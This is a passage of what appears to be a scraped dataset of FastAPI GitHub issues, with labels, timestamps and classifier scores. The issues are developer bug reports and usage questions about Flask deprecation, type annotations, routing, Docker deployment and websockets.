hope you don't mind me creating an issue, pydantic's 1.10.X tests are failing due to a new issue with running our fastapi tests, see

https://github.com/pydantic/pydantic/actions/runs/4832692304/jobs/8611783607?pr=5628

output from pydantic's tests:

```
==================================== ERRORS ====================================
______ ERROR collecting tests/test_tutorial/test_wsgi/test_tutorial001.py ______
tests/test_tutorial/test_wsgi/test_tutorial001.py:3: in <module>
    from docs_src.wsgi.tutorial001 import app
docs_src/wsgi/tutorial001.py:3: in <module>
    from flask import Flask, escape, request
<frozen importlib._bootstrap>:1075: in _handle_fromlist
    ???
/opt/hostedtoolcache/Python/3.10.11/x64/lib/python3.10/site-packages/flask/__init__.py:71: in __getattr__
    warnings.warn(
E   DeprecationWarning: 'flask.escape' is deprecated and will be removed in Flask 2.4. Import 'markupsafe.escape' instead.
=========================== short test summary info ============================
ERROR tests/test_tutorial/test_wsgi/test_tutorial001.py - DeprecationWarning: 'flask.escape' is deprecated and will be removed in Flask 2.4. Import 'markupsafe.escape' 
```

related to https://github.com/pydantic/pydantic/pull/5628",,2023-04-28 20:06:55+00:00,2023-05-09 14:32:02+00:00,0,nan,10.7674,fastapi tests in pydantic failing due to flask deprecation privileged issue x i m tiangolo or he asked me directly to create an issue here issue content hope you don t mind me creating an issue pydantic s x tests are failing due to a new issue with running our fastapi tests see output from pydantic s tests related to,others,0.3612
tiangolo/fastapi,1678629987,Using PEP 649 annotations with status code `204 No Content` and return type `None` raises `AssertionError`,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

# Reproduce

1. create FastAPI app
2. create route with status code `204 No Content`
3. add return type `None` to said route
4. add future annotations ([PEP 649](https://peps.python.org/pep-0649/))

```py
from __future__ import annotations

import http
import logging

from fastapi import FastAPI


app = FastAPI()


@app.post(""/"", status_code=http.HTTPStatus.NO_CONTENT)
async def root() -> None:
    logging.info(""endpoint called."")
```

## Expected

The file above should boot up fine when running `uvicorn filename:app --reload`

## Actual

This raises an error: `AssertionError: Status code 204 must not have a response body`

### full traceback

```
Traceback (most recent call last):
  File ""/<python_location>/lib/python3.11/multiprocessing/process.py"", line 314, in _bootstrap
    self.run()
  File ""/<python_location>/lib/python3.11/multiprocessing/process.py"", line 108, in run
    self._target(*self._args, **self._kwargs)
  File ""/<project_dir>/venv/lib/python3.11/site-packages/uvicorn/_subprocess.py"", line 76, in subprocess_started
    target(sockets=sockets)
  File ""/<project_dir>/venv/lib/python3.11/site-packages/uvicorn/server.py"", line 59, in run
    return asyncio.run(self.serve(sockets=sockets))
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""/<python_location>/lib/python3.11/asyncio/runners.py"", li... [TRUNCATED]",,2023-04-21 14:35:49+00:00,2025-09-20 18:44:45+00:00,13,nan,883.1729,using pep annotations with status code and return type raises privileged issue x i m tiangolo or he asked me directly to create an issue here issue content reproduce create fastapi app create route with status code add return type to said route add future annotations pep expected the file above should boot up fine when running actual this raises an error full traceback traceback most recent call last file lib python multiprocessing process py line in bootstrap self run file lib python multiprocessing process py line in run self target self args self kwargs file venv lib python site packages uvicorn subprocess py line in subprocess started target sockets sockets file venv lib python site packages uvicorn server py line in run return asyncio run self serve sockets sockets file lib python asyncio runners py li truncated,bug,0.7184
tiangolo/fastapi,1675360395,"Top level routes """" and ""/"" are treated as two distinct routes","### Issue Content

Title. See also:

https://github.com/encode/httpx/issues/2673

One of you is correct. It can't be both.",,2023-04-19 17:54:43+00:00,2023-04-19 17:58:26+00:00,0,nan,0.0026,top level routes and are treated as two distinct routes issue content title see also one of you is correct it can t be both,others,0.2023
tiangolo/fastapi,1666868267,`Query` default value cannot be set in `Annotated` when using `APIRouter`,"### Discussed in https://github.com/tiangolo/fastapi/discussions/9279

<div type='discussions-op-text'>

<sup>Originally posted by **tlinhart** March 19, 2023</sup>

This is a confirmed bug. :bug: There's a fix in https://github.com/tiangolo/fastapi/pull/9315.

### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# main.py

from fastapi import FastAPI
from router import router

app = FastAPI()
app.include_router(router)

# router.py

from typing import Annotated
from fastapi import APIRouter, Query

router = APIRouter()

@router.get(""/"")
async def root(*, n: Annotated[float, Query()] = 50):
    return {""n"": n}
```


### Description

When starting the Uvicorn serve... [TRUNCATED]",bug,2023-04-13 17:45:00+00:00,2023-04-13 19:36:35+00:00,1,bug,0.0775,default value cannot be set in when using discussed in originally posted by tlinhart march this is a confirmed bug bug there s a fix in first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description when starting the uvicorn serve truncated,bug,0.9032
tiangolo/fastapi,1656777287,When to update the https://fastapi.tiangolo.com/zh/？,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

When to update the https://fastapi.tiangolo.com/zh/？ just like ""Concurrency and async / await""",,2023-04-06 06:53:12+00:00,2023-04-06 08:33:01+00:00,0,nan,0.0693,when to update the privileged issue x i m tiangolo or he asked me directly to create an issue here issue content when to update the just like concurrency and async await,others,0.7845
tiangolo/fastapi,1634999332,"ValueError: On field ""page_size"" the following field constraints are set but not enforced: max_length. ","### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

  File ""/Users/hiro/Library/Caches/pypoetry/virtualenvs/argon-QwkX3TcS-py3.11/lib/python3.11/site-packages/fastapi/dependencies/utils.py"", line 452, in analyze_param
    annotation = get_annotation_from_field_info(
                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""pydantic/schema.py"", line 1019, in pydantic.schema.get_annotation_from_field_info
ValueError: On field ""page_size"" the following field constraints are set but not enforced: max_length. 
For more details see https://docs.pydantic.dev/usage/schema/#unenforced-field-constraints",investigate,2023-03-22 03:32:02+00:00,2023-03-22 07:37:33+00:00,0,investigate,0.1705,valueerror on field page size the following field constraints are set but not enforced max length privileged issue x i m tiangolo or he asked me directly to create an issue here issue content file users hiro library caches pypoetry virtualenvs argon qwkx tcs py lib python site packages fastapi dependencies utils py line in analyze param annotation get annotation from field info file pydantic schema py line in pydantic schema get annotation from field info valueerror on field page size the following field constraints are set but not enforced max length for more details see,bug,0.7579
tiangolo/fastapi,1620339127,"New lifespan context manager has a typing error, detected by `mypy` in apps (users' code)","### Discussed in https://github.com/tiangolo/fastapi/discussions/9241

<div type='discussions-op-text'>

<sup>Originally posted by **kthy** March 11, 2023</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from collections.abc import AsyncGenerator
from contextlib import asynccontextmanager

from fastapi import FastAPI


@asynccontextmanager
async def lifespan(_: FastAPI) -> AsyncGenerator[None, None]:
    ...
    yield
    ...


app = FastAPI(lifespan=lifespan)
```


### Description

I have taken the [example from the docs of the lifespan async context manager](https://fastapi.tiangolo.com/advanced/events/#lifespan) - new in 0.93 - shaved it down to the bare min... [TRUNCATED]","bug,question",2023-03-12 12:02:51+00:00,2023-03-22 10:11:20+00:00,2,"bug,question",9.9226,new lifespan context manager has a typing error detected by in apps users code discussed in originally posted by kthy march first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i have taken the example from the docs of the lifespan async context manager new in shaved it down to the bare min truncated,bug,0.8934
tiangolo/fastapi,1610079330,custom response not work？,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

1. create custom response as below
```
import time
import json
import datetime
import logging
import numpy as np
import pandas as pd

from typing import Callable, Any, Optional, Dict
from fastapi import Request, Response
from starlette.background import BackgroundTask
from fastapi.routing import APIRoute

from models.tick import Tick

class DataEncoder(json.JSONEncoder):
    def default(self, obj):
        if isinstance(obj, datetime.datetime):
            return obj.strftime(""%Y-%m-%d %H:%M:%S"")
        elif isinstance(obj, datetime.date):
            return obj.strftime(""%Y-%m-%d"")
        elif isinstance(obj, type(bytes)):
            return str(obj, encoding='utf-8')
        elif isinstance(obj, type(np.ndarray)):
            return obj.tolist()
        elif isinstance(obj, UUID):
            return obj.hex
        elif isinstance(obj, Tick):
            return obj.to_dict()
        else:
            return super(DataEncoder, self).default(obj)

def _serial(result):        
    _t = type(result)
    _rt = 'text/html'
    if _t is str:
        _s = result
    elif _t is pd.DataFrame or _t is pd.Series:
        _s = result.to_csv()
        _rt = 'text/csv'
    elif _t is np.ndarray:
        _s = json.dumps(result.tolist(), 
            ensure_ascii=False,
            allow_nan=False,
            indent=None,
           ... [TRUNCATED]",,2023-03-05 06:44:25+00:00,2023-03-09 07:32:10+00:00,1,nan,4.0332,custom response not work privileged issue x i m tiangolo or he asked me directly to create an issue here issue content create custom response as below import time import json import datetime import logging import numpy as np import pandas as pd from typing import callable any optional dict from fastapi import request response from starlette background import backgroundtask from fastapi routing import apiroute from models tick import tick class dataencoder json jsonencoder def default self obj if isinstance obj datetime datetime return obj strftime y m d h m s elif isinstance obj datetime date return obj strftime y m d elif isinstance obj type bytes return str obj encoding utf elif isinstance obj type np ndarray return obj tolist elif isinstance obj uuid return obj hex elif isinstance obj tick return obj to dict else return super dataencoder self default obj def serial result t type result rt text html if t is str s result elif t is pd dataframe or t is pd series s result to csv rt text csv elif t is np ndarray s json dumps result tolist ensure ascii false allow nan false indent none truncated,others,0.9135
tiangolo/fastapi,1609910569,ExampleDontWorkInColab,"### Privileged issue

- [ ] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content
when i try to create or read a client fails, part of the api works

The example (https://fastapi.tiangolo.com/tutorial/sql-databases/) don't work in google colab (https://colab.research.google.com/drive/1aKwxcAwgnCCpR00MPK4f1Ys77Cyx1QOT?usp=sharing).

Stack from the error:

INFO:     Started server process [138]

ERROR:    Exception in ASGI application
Traceback (most recent call last):
  File ""/usr/local/lib/python3.8/dist-packages/uvicorn/protocols/http/h11_impl.py"", line 394, in run_asgi
    result = await app(self.scope, self.receive, self.send)

",,2023-03-04 19:07:01+00:00,2023-03-09 07:31:04+00:00,3,nan,4.5167,exampledontworkincolab privileged issue i m tiangolo or he asked me directly to create an issue here issue content when i try to create or read a client fails part of the api works the example don t work in google colab stack from the error info started server process error exception in asgi application traceback most recent call last file usr local lib python dist packages uvicorn protocols http h impl py line in run asgi result await app self scope self receive self send,others,-0.3182
tiangolo/fastapi,1587844170,Duplicate headers,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Hi,
  I like fastapi very much, but I encountered a problem during my study.

  My code :
```
from typing import List, Union

from fastapi import FastAPI, Header

app = FastAPI()


@app.get(""/items/"")
async def read_items(x_token: Union[List[str], None] = Header(default=None)):
    return {""X-Token values"": x_token}
```

I got a 422 return code not 200
<img width=""1483"" alt=""image"" src=""https://user-images.githubusercontent.com/41281305/219401923-3c007af4-5f45-40e9-8f89-934073bdaabb.png"">


According to the document description, I think I will get the following content:
```
{
    ""X-Token values"": [
        ""bar"",
        ""foo""
    ]
}
```

     ","question,answered,reviewed,question-migrate",2023-02-16 15:04:02+00:00,2023-02-27 19:08:09+00:00,2,"question,answered,reviewed,question-migrate",11.1695,duplicate headers privileged issue x i m tiangolo or he asked me directly to create an issue here issue content hi i like fastapi very much but i encountered a problem during my study my code i got a return code not img width alt image src according to the document description i think i will get the following content,help,-0.0772
tiangolo/fastapi,1587047339,fastapi and sqlalchemy,"### Privileged issue

- [ ] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

In fast API after execution of the code, the database connection is not closing using SQL alchemy how to resolve this issue?","invalid,reviewed",2023-02-16 05:31:09+00:00,2023-02-24 12:02:10+00:00,11,"invalid,reviewed",8.2715,fastapi and sqlalchemy privileged issue i m tiangolo or he asked me directly to create an issue here issue content in fast api after execution of the code the database connection is not closing using sql alchemy how to resolve this issue,others,0.8591
tiangolo/fastapi,1580688239,An error is displayed when the length of int type in response_model exceeds 16 bits,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

example
id: int = 109037141215586310
The final display is: id = 109037141215586300

The length of the data in the example is 18 bits

python version: 3.11
fastapi version: 0.91.0

At present, I don't know if it is a framework problem, or other reasons! Thanks!","invalid,answered,reviewed",2023-02-11 06:36:16+00:00,2023-02-11 08:20:53+00:00,1,"invalid,answered,reviewed",0.0727,an error is displayed when the length of int type in response model exceeds bits privileged issue x i m tiangolo or he asked me directly to create an issue here issue content example id int the final display is id the length of the data in the example is bits python version fastapi version at present i don t know if it is a framework problem or other reasons thanks,bug,0.296
tiangolo/fastapi,1563379525,"API works locally, but not in Docker Container","### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# DOCKERFILE 

FROM python:3.8
WORKDIR /app
RUN wget https://ofa-silicon.oss-us-west-1.aliyuncs.com/checkpoints/caption_large_best_clean.pt
RUN mkdir /app/checkpoints
RUN mv caption_large_best_clean.pt /app/checkpoints/caption.pt
COPY requirements.txt /app/requirements.txt
RUN pip install --no-cache-dir --upgrade -r /app/requirements.txt
COPY . /app/
CMD [""uvicorn"", ""main:app"", ""--port"", ""80"", ""--host"", ""0.0.0.0""]
```


### Description

I have a machine learning API that I am trying to deploy. It runs perfectly locally and I am able to successfully build a docker image of it using the command `docker build -t <image_name> ... [TRUNCATED]","question,question-migrate",2023-01-30 23:40:50+00:00,2023-02-27 19:08:06+00:00,3,"question,question-migrate",27.8106,api works locally but not in docker container first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i have a machine learning api that i am trying to deploy it runs perfectly locally and i am able to successfully build a docker image of it using the command docker build t truncated,documentation,0.9744
tiangolo/fastapi,1562575921,Assertion error when connecting to Websocket,"### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import os
from fastapi import FastAPI, WebSocket
from fastapi.staticfiles import StaticFiles

app = FastAPI()
curr_dir = os.path.dirname(os.path.abspath(__file__))
app.mount(""/"", StaticFiles(directory=os.path.join(curr_dir, 'folder'), html=True), name=""/"")


@app.websocket(""/ws"")
async def websocket_endpoint(websocket: WebSocket):
    await websocket.accept()
    while True:
        data = await websocket.receive_text()
        await websocket.send_text(f""Message text was: {data}"")
```


### Description

Probably a config error. I am trying to serve a static directory which also contains an index.html. The index.html includes a JS to connect ... [TRUNCATED]","question,question-migrate",2023-01-30 14:38:53+00:00,2023-02-27 19:08:03+00:00,4,"question,question-migrate",28.1869,assertion error when connecting to websocket first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description probably a config error i am trying to serve a static directory which also contains an index html the index html includes a js to connect truncated,bug,0.7717
tiangolo/fastapi,1562211438,"How to write a ""BaseRouter"" to reduce redundant code?","### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@router.get(""/{exercise_id}"", response_model=Exercise)
async def get_exercise(
    exercise_id: UUID4,
    exercise_service: ExcerciseService = Depends(get_exercise_service),
) -> Optional[models.Exercise]:
    return exercise_service.get(exercise_id)

@router.get(""/{user_id}"", response_model=User)
async def get_user(
    user_id: UUID4,
    user_service: UsersService = Depends(get_users_service),
) -> Optional[models.User]:
    return user_service.get(user_id)
```


### Description

I have several models which all require the basic CRUD operations as API endpoints. Therefore I wrote several routers containing similar co... [TRUNCATED]","question,question-migrate",2023-01-30 11:01:14+00:00,2023-02-27 19:08:00+00:00,5,"question,question-migrate",28.338,how to write a baserouter to reduce redundant code first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i have several models which all require the basic crud operations as api endpoints therefore i wrote several routers containing similar co truncated,help,0.9136
tiangolo/fastapi,1561051210,Dataclasses get converted into dicts instead of being validated by pydantic directly,"### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from dataclasses import dataclass, field
from typing import Any
from pydantic import BaseModel, BaseConfig
from fastapi import FastAPI


class ThingBase:
    id: int
    circular_ref: ""ThingBase""


class ThingID:
    @classmethod
    def __get_validators__(cls):
        yield cls.validate

    @classmethod
    def validate(cls, obj: Any) -> int:
        if isinstance(obj, int):
            return obj
        elif isinstance(obj, ThingBase):
            return obj.id
        else:
            raise TypeError


class Model(BaseModel):
    id: int
    circular_ref: ThingID

    class Config(BaseConfig):
        orm_mode = True
... [TRUNCATED]","question,question-migrate",2023-01-28 23:36:18+00:00,2023-02-24 16:30:40+00:00,3,"question,question-migrate",26.7044,dataclasses get converted into dicts instead of being validated by pydantic directly first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from dataclasses import dataclass field from typing import any from pydantic import basemodel baseconfig from fastapi import fastapi class thingbase id int circular ref thingbase class thingid classmethod def get validators cls yield cls validate classmethod def validate cls obj any int if isinstance obj int return obj elif isinstance obj thingbase return obj id else raise typeerror class model basemodel id int circular ref thingid class config baseconfig orm mode true truncated,help,0.9731
tiangolo/fastapi,1560676688,filenames are truncated when uploading multiple files,"### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@router.post(""/upload_one"")
async def upload_one(file: UploadFile = File(...)):
    """"""
    When uploading ./dir/filename the following prints ""./dir/filename"" as expected.
    """"""

    return file.filename


@router.post(""/upload_multiple"")
async def upload_multiple(files: list[UploadFile]):
    """"""
    When uploading ./dir/filename1 and ./dir/filename2 the following unexpectedly prints
    [""filename1"", ""filename2""] instead of [""./dir/filename1"", ""./dir/filename2""].
    """"""
    return [file.filename for file in files]
```


### Description

The doc comments above explains it all. When an endpoint receives a list of UploadFiles, the filenam... [TRUNCATED]","question,question-migrate",2023-01-28 03:49:34+00:00,2023-02-27 19:07:57+00:00,4,"question,question-migrate",30.6378,filenames are truncated when uploading multiple files first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description the doc comments above explains it all when an endpoint receives a list of uploadfiles the filenam truncated,help,0.9136
tiangolo/fastapi,1560362505,How can I integrate source code changes into my FastAPI install?,"### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
class OAuth2PasswordRequestForm:
    """"""
    This is a dependency class, use it like:
        @app.post(""/login"")
        def login(form_data: OAuth2PasswordRequestForm = Depends()):
            data = form_data.parse()
            print(data.username)
            print(data.password)
            for scope in data.scopes:
                print(scope)
            if data.client_id:
                print(data.client_id)
            if data.client_secret:
                print(data.client_secret)
            return data
    It creates the following Form request parameters in your endpoint:
    grant_type: the OAuth2 spec says... [TRUNCATED]","question,question-migrate",2023-01-27 20:04:55+00:00,2023-02-27 19:07:53+00:00,5,"question,question-migrate",30.9604,how can i integrate source code changes into my fastapi install first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python class oauth passwordrequestform this is a dependency class use it like app post login def login form data oauth passwordrequestform depends data form data parse print data username print data password for scope in data scopes print scope if data client id print data client id if data client secret print data client secret return data it creates the following form request parameters in your endpoint grant type the oauth spec says truncated,help,0.9676
tiangolo/fastapi,1558628775,Why authentication not work when i change object value?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from datetime import datetime, timedelta

from fastapi import Depends, FastAPI, HTTPException, status
from fastapi.security import OAuth2PasswordBearer, OAuth2PasswordRequestForm
from jose import JWTError, jwt
from passlib.context import CryptContext
from pydantic import BaseModel

# to get a string like this run:
# openssl rand -hex 32
SECRET_KEY = ""a50e71f6776a2977dfaf763b8d3987add1435735a07eaae1af50768c0be5dc0e""
ALGORITHM = ""HS256""
ACCESS_TOKEN_EXPIRE_MINUTES = 30


fake_users_db = {
    ""johndoe"": {
        ""username"": ""johndoe"",
        ""full_name"": ""John Doe"",
        ""email"": ""johndoe@example.com"",
       ... [TRUNCATED]","question,reviewed,question-migrate",2023-01-26 19:06:38+00:00,2023-02-24 16:30:37+00:00,2,"question,reviewed,question-migrate",28.8917,why authentication not work when i change object value first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from datetime import datetime timedelta from fastapi import depends fastapi httpexception status from fastapi security import oauth passwordbearer oauth passwordrequestform from jose import jwterror jwt from passlib context import cryptcontext from pydantic import basemodel to get a string like this run openssl rand hex secret key a e f a dfaf b d add a eaae af c be dc e algorithm hs access token expire minutes fake users db johndoe username johndoe full name john doe email johndoe example com truncated,help,0.9393
tiangolo/fastapi,1556946613,how to use wss in fastAPI,"### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@router.websocket(""/wss"")
```


### Description

how to use wss 

### Operating System

macOS

### Operating System Details

_No response_

### FastAPI Version

0.88.0

### Python Version

3.11

### Additional Context

_No response_","question,question-migrate",2023-01-25 16:34:00+00:00,2023-02-24 16:30:34+00:00,3,"question,question-migrate",29.9976,how to use wss in fastapi first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description how to use wss macos details no response fastapi version python version no response,help,0.7964
tiangolo/fastapi,1555312925,WebsocketException reason is not visible to the client,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
from fastapi import WebSocketException, status

app = FastAPI()

@app.websocket(""/ws"")
async def websocket_endpoint():
   raise WebSocketException(code=status.WS_1008_POLICY_VIOLATION, reason=""I want you to know this"")
```


### Description

